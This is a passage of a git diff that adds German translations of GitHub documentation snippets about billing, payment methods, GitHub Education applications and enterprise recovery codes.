+ms.locfileid: "145108827"
+---
+1. Wähle optional, wenn deine Organisation im Besitz eines Unternehmens oder einer Institution ist, **Dieses Konto ist im Besitz eines Unternehmens**.
+  ![Kontrollkästchen für Organisationen, die sich im Besitz eines Unternehmens befinden](/assets/images/help/organizations/organization-belongs-to.png)
+2. Wenn Deine Organisation im Besitz eines Unternehmens oder einer Institution ist, gib den Namen des Unternehmens oder der Institution ein.
+  ![Feld „Name des Unternehmens oder der Institution“](/assets/images/help/organizations/name-of-business.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/packages-data.md b/translations/de-DE/data/reusables/dotcom_billing/packages-data.md
new file mode 100644
index 0000000000..a089d4c2ef
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/packages-data.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 914787e9470a168b8eccbd5a4574284ec105f57f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108823"
+---
+1. Unter „{% data variables.product.prodname_registry %}" findest Du Details zu Deiner Nutzung der Datenübertragung.
+  ![Details zur Nutzung der Datenübertragung](/assets/images/help/billing/packages-data.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/payment-methods.md b/translations/de-DE/data/reusables/dotcom_billing/payment-methods.md
new file mode 100644
index 0000000000..821c0df396
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/payment-methods.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 737a6403dd94bdb7d50972f5d1bfbc8ada0f4dee
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108820"
+---
+Sie können mit einer Kreditkarte oder über ein PayPal-Konto für {% data variables.product.product_name %} bezahlen.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md b/translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md
new file mode 100644
index 0000000000..c81b8384a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 984dd4bd8fc33e7acd2b2d79b2daa632f51ff3fc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108819"
+---
+Um die Kosten für verbrauchende Dienste zu schätzen, kannst du den {% data variables.product.prodname_dotcom %}-[Preisrechner](https://github.com/pricing/calculator?feature=actions) verwenden.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md b/translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md
new file mode 100644
index 0000000000..924c878970
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_packages.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f900a8fd880d620b209a47420e48f51dc0039032
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108808"
+---
+Um die Kosten für verbrauchende Dienste zu schätzen, kannst du den {% data variables.product.prodname_dotcom %}-[Preisrechner](https://github.com/pricing/calculator?feature=packages) verwenden.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/redeem_coupon.md b/translations/de-DE/data/reusables/dotcom_billing/redeem_coupon.md
new file mode 100644
index 0000000000..717523e3a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/redeem_coupon.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 402db0d4f9b3b538f01b07dfd664aade400237a3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881820"
+---
+5. Überprüfe unter „Dein neuer Plan“ die Informationen zu deinem Plan und Rabatt, und klicke anschließend auf **Einlösen**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/remove-payment-method.md b/translations/de-DE/data/reusables/dotcom_billing/remove-payment-method.md
new file mode 100644
index 0000000000..49c1ceb32a
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/remove-payment-method.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8f9467a927a8e5d0601200a9d9daec9c39f5b06a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108792"
+---
+3. Klicke im Abschnitt „Zahlungsmethode“ unter deiner Zahlungsmethode auf **Entfernen**.
+  ![Schaltfläche zum Ändern des Plans in der Abrechnungsübersicht](/assets/images/help/settings/remove_billing_info.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/remove_payment_info.md b/translations/de-DE/data/reusables/dotcom_billing/remove_payment_info.md
new file mode 100644
index 0000000000..ca01126bbf
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/remove_payment_info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c653d735984d20739c010e01ea8082c877832830
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108791"
+---
+1. Bestätige die Änderung. Klicke dazu auf **Kreditkarte entfernen** oder **PayPal-Konto entfernen**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/review-pending-changes.md b/translations/de-DE/data/reusables/dotcom_billing/review-pending-changes.md
new file mode 100644
index 0000000000..e2eef28f6c
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/review-pending-changes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 650c57c61ab4b812ed837397c1188dc50acdae88
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108788"
+---
+1. Überprüfe unter „Aktueller Plan“ deine ausstehenden Änderungen.
+  ![Abschnitt „Abonnements“ der Abrechnungseinstellungen mit aufgelisteten ausstehenden Abonnementänderungen](/assets/images/help/billing/review-pending-subscription-changes.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/same-payment-method.md b/translations/de-DE/data/reusables/dotcom_billing/same-payment-method.md
new file mode 100644
index 0000000000..95b62e4973
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/same-payment-method.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 574357827cbbefbdfac2f7dc90f53f2d5ccfe165
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108784"
+---
+Wenn Sie die Zahlungsmethode für das {% data variables.product.prodname_dotcom %}-Abonnement Ihres Kontos aktualisieren, wird Ihre neue Zahlungsmethode automatisch zu Ihren anderen Abonnements für bezahlte Produkte hinzugefügt.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/show-plan-details.md b/translations/de-DE/data/reusables/dotcom_billing/show-plan-details.md
new file mode 100644
index 0000000000..2fd034271a
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/show-plan-details.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 22fa543dc507526648f9383a792da7ee75fb2197
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883812"
+---
+1. Wenn du optional die Details deines Plans anzeigen möchtest, klicke auf **Details anzeigen**.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/switch-legacy-billing.md b/translations/de-DE/data/reusables/dotcom_billing/switch-legacy-billing.md
new file mode 100644
index 0000000000..8ed8ad5446
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/switch-legacy-billing.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e0147d4d2717ca56870416a58889f7d02bbf5fe2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108780"
+---
+Wenn Deine Organisation einen alten, Repository-abhängigen Abrechnungsplan verwendet, kannst Du jederzeit auf eine benutzerabhängige Preisgestaltung umsteigen. Nach der Heraufstufung auf die benutzerabhängige Preisgestaltung kannst Du nicht zurück zur Repository-abhängigen Preisgestaltung wechseln.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/update-spending-limit.md b/translations/de-DE/data/reusables/dotcom_billing/update-spending-limit.md
new file mode 100644
index 0000000000..a9c2f0fa48
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/update-spending-limit.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 65025cf3544901230de4032b699c0d2058cd7b15
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108776"
+---
+1. Wenn du deine Ausgaben begrenzen möchtest, gib unter „Ausgaben begrenzen“ ein Limit ein, und klicke dann auf **Limit aktualisieren**.
+  ![Feld zum Eingeben eines Ausgabenlimits und Schaltfläche zum Aktualisieren des Limits](/assets/images/help/billing/update-limit.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/update_payment_method.md b/translations/de-DE/data/reusables/dotcom_billing/update_payment_method.md
new file mode 100644
index 0000000000..22b3c9071d
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/update_payment_method.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 18cafb3b98ee21be0e18e6f252441c4751467cb8
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878932"
+---
+1. Klicke oben auf der Seite unter „Zahlungsinformationen“ auf **Zahlungsmethode aktualisieren**.
+ ![Schaltfläche zum Aktualisieren der Zahlungsmethode](/assets/images/help/billing/update_payment_method.png)
diff --git a/translations/de-DE/data/reusables/dotcom_billing/upgrade_org.md b/translations/de-DE/data/reusables/dotcom_billing/upgrade_org.md
new file mode 100644
index 0000000000..f7ee2c920d
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/upgrade_org.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 716f4b4dbe73fa1253b7b448905a3d6bf3fbf9df
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108767"
+---
+1. Klicke auf **Upgrade** neben „Aktueller Plan“.
diff --git a/translations/de-DE/data/reusables/dotcom_billing/view-all-subscriptions.md b/translations/de-DE/data/reusables/dotcom_billing/view-all-subscriptions.md
new file mode 100644
index 0000000000..8403ca7ead
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/view-all-subscriptions.md
@@ -0,0 +1 @@
+To view all the subscriptions for your account on {% data variables.location.product_location %}, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)."
diff --git a/translations/de-DE/data/reusables/dotcom_billing/view-payment-history.md b/translations/de-DE/data/reusables/dotcom_billing/view-payment-history.md
new file mode 100644
index 0000000000..9438ee3b9b
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/view-payment-history.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0e0773fe26ad8b02c68c3b156f06c434ed753837
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785758"
+---
+1. Klicke oben auf der Seite unter „Nächste fällige Zahlung“ auf **Zahlungsverlauf anzeigen**.
+![Link zum Anzeigen des Zahlungsverlaufs](/assets/images/help/billing/view-payment-history-link.png)
diff --git a/translations/de-DE/data/reusables/education/about-github-community-exchange-intro.md b/translations/de-DE/data/reusables/education/about-github-community-exchange-intro.md
new file mode 100644
index 0000000000..4141590c57
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/about-github-community-exchange-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 82c3a5fa91313a6f2e27e58b62c706ea5b0ef4d9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109646"
+---
+{% data variables.product.prodname_community_exchange %} ist eine Community für Studierende innerhalb des {% data variables.product.prodname_global_campus %}-Portals. Als Studierender kannst du hier auf dein Projekt aufmerksam machen und andere Repositorys von Studierenden entdecken, die Projektmitarbeiter und Maintainer benötigen.
diff --git a/translations/de-DE/data/reusables/education/about-github-education-link.md b/translations/de-DE/data/reusables/education/about-github-education-link.md
new file mode 100644
index 0000000000..7c299906e1
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/about-github-education-link.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 620b90976590638814c4da04561b3b6feda59d78
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147573836"
+---
+Als Studierende*r oder Fakultätsmitglied an einer akkreditierten Bildungseinrichtung kannst du {% data variables.product.prodname_global_campus %} beantragen. {% data variables.product.prodname_global_campus %} ist ein Portal, das der GitHub Education Community zentralen Zugriff auf bildungsbezogenen Leistungen ermöglicht! Das {% data variables.product.prodname_global_campus %}-Portal bietet Zugriff auf {% data variables.product.prodname_education_community_with_url %}, Branchentools, die von professionellen Entwicklern verwendet werden, Veranstaltungen, [Campus TV](https://www.twitch.tv/githubeducation)-Inhalte, {% data variables.product.prodname_classroom_with_url %}, [{% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange), {% data variables.product.prodname_student_pack %} und andere exklusive Features, die Studierenden und Lehrkräften helfen, die nächste Generation der Softwareentwicklung zu gestalten.
+
+Bevor du dich für einen individuellen Rabatt bewirbst, solltest du überprüfen, ob deine Lerngemeinschaft bereits mit uns als {% data variables.product.prodname_campus_program %}-Bildungseinrichtung zusammenarbeitet. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program).
diff --git a/translations/de-DE/data/reusables/education/access-github-community-exchange.md b/translations/de-DE/data/reusables/education/access-github-community-exchange.md
new file mode 100644
index 0000000000..cfee5ab12d
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/access-github-community-exchange.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: a1ea6001187a2b5fb30e1bc6f4767db44b98c36d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147573780"
+---
+Um auf {% data variables.product.prodname_community_exchange %} zuzugreifen, besuche dein {% data variables.product.prodname_global_campus %}-Dashboard unter https://education.github.com.
+
+Als Studierender oder Fakultätsmitglied an einer akkreditierten Bildungseinrichtung kannst du {% data variables.product.prodname_education %}-Vorteile beantragen, zu denen der Zugriff auf {% data variables.product.prodname_community_exchange %} in {% data variables.product.prodname_global_campus %} gehört.
+
+- Wenn du Studierender bist und {% data variables.product.prodname_education %} noch nicht beigetreten bist, übermittle deinen Antrag mithilfe des [Antragsformulars für Studierende]( https://education.github.com/discount_requests/student_application). Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_global_campus %} für Studierende](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students).
+
+- Wenn du Lehrkraft bist und {% data variables.product.prodname_education %} noch nicht beigetreten bist, übermittle deinen Antrag mithilfe des [Antragsformulars für Lehrkräfte]( https://education.github.com/discount_requests/teacher_application). Weitere Informationen findest du unter [Antrag bei {% data variables.product.prodname_global_campus %} als Lehrkraft](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher).
diff --git a/translations/de-DE/data/reusables/education/apply-for-team.md b/translations/de-DE/data/reusables/education/apply-for-team.md
new file mode 100644
index 0000000000..8bfcace9ee
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/apply-for-team.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: acbcbc95f73cbd29a7f0d1a7b4a6124296d9568b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147573843"
+---
+- Bewirb dich für [{% data variables.product.prodname_team %}](/articles/github-s-products), und erhalte kostenlos eine unbegrenzte Anzahl von Benutzern und privaten Repositorys. Weitere Informationen findest du unter [Antrag bei {% data variables.product.prodname_global_campus %} als Lehrkraft](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher).
diff --git a/translations/de-DE/data/reusables/education/benefits-page.md b/translations/de-DE/data/reusables/education/benefits-page.md
new file mode 100644
index 0000000000..725eb133bc
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/benefits-page.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4c1c5ee6e71f7c75f0c11a2ea5f58ef992583105
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107477"
+---
+1. Wechsele zu [{% data variables.product.prodname_education %}](https://education.github.com), und klicke oben rechts in der Navigationsleiste auf **Vorteile**. 
diff --git a/translations/de-DE/data/reusables/education/click-get-teacher-benefits.md b/translations/de-DE/data/reusables/education/click-get-teacher-benefits.md
new file mode 100644
index 0000000000..d6d55df219
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/click-get-teacher-benefits.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: afab7fb26cca422fecd22db40fbb306cd8c2d334
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108743"
+---
+1. Klicke unter „Einzelpersonen“ auf **Vorteile für Lehrkräfte abrufen**.
+  ![„Vorteile für Lehrkräfte abrufen“ auf der {% data variables.product.prodname_education %}-Startseite](/assets/images/help/education/click-get-teacher-benefits.png)
diff --git a/translations/de-DE/data/reusables/education/educator-requirements.md b/translations/de-DE/data/reusables/education/educator-requirements.md
new file mode 100644
index 0000000000..38565f5a2a
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/educator-requirements.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 0afe28241f95288731c8a3e982a9d068b652d1e1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880822"
+---
+Um Leistungen für Lehrkräfte und Zugriff auf {% data variables.product.prodname_global_campus %} zu beantragen, musst du die folgenden Anforderungen erfüllen.
+
+- Du musst als Lehrkraft, Universitätsmitglied oder Forscher tätig sein.
+- Du musst über eine nachweisbare, von der Bildungseinrichtung ausgestellte E-Mail-Adresse verfügen.
+- Du musst Dokumente hochladen, die deine Zugehörigkeit zur Bildungseinrichtung nachweisen.
+- Du benötigst ein persönliches Konto für {% data variables.product.product_name %}.
diff --git a/translations/de-DE/data/reusables/education/pdf-support.md b/translations/de-DE/data/reusables/education/pdf-support.md
new file mode 100644
index 0000000000..c88e1acf35
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/pdf-support.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4f553b39405f6440b580ddf339d0463a0e6d13e9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108739"
+---
+{% note %}
+
+**Hinweis**: PDF-Dateien werden nicht unterstützt, und du kannst sie nicht als Zugehörigkeitsnachweis hochladen.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/education/plan-to-use-github.md b/translations/de-DE/data/reusables/education/plan-to-use-github.md
new file mode 100644
index 0000000000..44eed5dda0
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/plan-to-use-github.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 25c766644dbad106d67c241578bf468c7cb326c9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881643"
+---
+1. Beschreibe, wie du {% data variables.product.prodname_dotcom %} verwenden möchtest.
+ ![Beschreibungsfeld zur Angabe, wie du {% data variables.product.prodname_dotcom %} verwenden möchtest](/assets/images/help/education/purpose-for-github-education.png)
diff --git a/translations/de-DE/data/reusables/education/school-name.md b/translations/de-DE/data/reusables/education/school-name.md
new file mode 100644
index 0000000000..2f0a0ce43b
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/school-name.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 44c716f64587594a460f16d4300651973eacbaba
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108723"
+---
+5. Gib den Namen Deiner Bildungseinrichtung ein.
+ ![Feld für den Namen der Bildungseinrichtung](/assets/images/help/education/enter-school-name.png)
diff --git a/translations/de-DE/data/reusables/education/select-email-address.md b/translations/de-DE/data/reusables/education/select-email-address.md
new file mode 100644
index 0000000000..311a748c8c
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/select-email-address.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: fe8461a3b7af34d4eb6dbdc44f603d7cc97227f4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108716"
+---
+1. Wähle die E-Mail-Adresse aus, die Du für Deine Bildungseinrichtung verwendest, oder füge die E-Mail-Adresse hinzu.
+  ![Auswählen der E-Mail-Adresse](/assets/images/help/education/select-email-address.png)
+
+    {% tip %}
+
+    **Tipp**: Die Auswahl einer von der Bildungseinrichtung ausgestellten E-Mail-Adresse (sofern vorhanden) bietet Ihnen die besten Chancen auf einen schnellen Review.
+
+    {% endtip %}
diff --git a/translations/de-DE/data/reusables/education/submit-application.md b/translations/de-DE/data/reusables/education/submit-application.md
new file mode 100644
index 0000000000..648a0d73db
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/submit-application.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: ddecd34836e2c6660808f586d4ba63debc83da51
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107461"
+---
+8. Überprüfe die Details deiner Bewerbung, und klicke dann auf **Meine Bewerbung bearbeiten**.
+ ![Schaltfläche „Meine Bewerbung bearbeiten“](/assets/images/help/education/submit-your-information-button.png)
+
+    {% note %}
+
+    **Hinweis:** Möglicherweise wird nach dem Klicken auf die Schaltfläche **Meine Bewerbung bearbeiten** ein Banner angezeigt, in dem du aufgefordert wirst, eine Information in deiner Bewerbung zu korrigieren. Führe in diesem Fall die erforderliche Korrektur durch, und klicke dann auf **Meine Bewerbung erneut bearbeiten**.
+
+    {% endnote %}
+
+ Nach der Genehmigung Deiner Bewerbung erhältst Du eine E-Mail-Bestätigung. Bewerbungen werden in der Regel binnen weniger Tage verarbeitet. In Spitzenzeiten kann es jedoch länger dauern, also beispielsweise bis zum Beginn eines neuen Semesters.
diff --git a/translations/de-DE/data/reusables/education/upload-different-image.md b/translations/de-DE/data/reusables/education/upload-different-image.md
new file mode 100644
index 0000000000..758b4b3110
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/upload-different-image.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0daa5fe9a47b1e4465bd7c50ac3c25e1908cba09
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108704"
+---
+Wenn Du Dich erneut bewirbst, lade ein anderes Bild hoch als das, das Du in Deiner ersten Bewerbung verwendet hast. Stelle sicher, dass mindestens ein Datum deutlich sichtbar ist, das Deinen aktuellen akademischen Status nachweist.
diff --git a/translations/de-DE/data/reusables/education/upload-proof-reapply.md b/translations/de-DE/data/reusables/education/upload-proof-reapply.md
new file mode 100644
index 0000000000..200c69817f
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/upload-proof-reapply.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4ba3c34c60afff0e365c619594520386e6257d0d
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108703"
+---
+Wenn Du Dich erneut bewirbst, lade ein Bild Deiner Bildungseinrichtungs-ID, Deines akademischen Zeugnisses oder eines anderen, Deinen akademischen Status nachweisenden Dokuments hoch, das mindestens ein Datum deutlich zeigt.
diff --git a/translations/de-DE/data/reusables/education/upload-proof-status.md b/translations/de-DE/data/reusables/education/upload-proof-status.md
new file mode 100644
index 0000000000..454c7900b9
--- /dev/null
+++ b/translations/de-DE/data/reusables/education/upload-proof-status.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: 0c02eac9bfcbb9d2d321f69aaa7cf10dcbb8f92a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108700"
+---
+1. Lade den Nachweis Deines akademischen Status hoch, wenn Du dazu aufgefordert wirst.
+   - Klicke auf **Kamera für die Aufnahme eines Bilds verwenden**.
+     ![Schaltfläche zur Verwendung der Kamera für die Aufnahme eines Bilds](/assets/images/help/education/upload-proof-status.png)
+   - Um die gewünschte Kamera zu wechseln, verwende optional das Dropdownmenü der Kamera.
+    ![Dropdownmenü der Kamera](/assets/images/help/education/camera-drop-down.png)
+   - Positioniere deinen gültigen Universitätsausweis oder einen anderen Nachweis deines aktuellen akademischen Status im Sichtfeld, und klicke dann auf **Foto aufnehmen**.
+    ![Schaltfläche für die Aufnahme von Fotos](/assets/images/help/education/take-photo-button.png)
+   - Wenn du kein Foto vom Nachweis deines akademischen Status machen kannst, klicke stattdessen auf **Bild hochladen**, um ein Bild von deinem Computer hochzuladen.
+     ![Link zum Hochladen eines Bilds](/assets/images/help/education/upload-image-link.png) {% note %}
+
+    **Hinweis**: PDF-Dateien werden nicht unterstützt, und du kannst sie nicht als Nachweis deines akademischen Status hochladen.
+
+    {% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/about-recovery-codes.md b/translations/de-DE/data/reusables/enterprise-accounts/about-recovery-codes.md
new file mode 100644
index 0000000000..9dd96ab41d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/about-recovery-codes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e3d902d3d0177488273d2ed87cfb2f54a5343e36
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108696"
+---
+Wenn ein SAML-Konfigurationsfehler oder ein Problem mit deinem Identitätsanbieter (IdP) verhindert, dass du SAML SSO verwendest, kannst du einen Wiederherstellungscode verwenden, um auf dein Unternehmen zuzugreifen.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md b/translations/de-DE/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md
new file mode 100644
index 0000000000..82b27cd14e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 11521a4f40d41a601f4d6d31770130fc33e55af7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
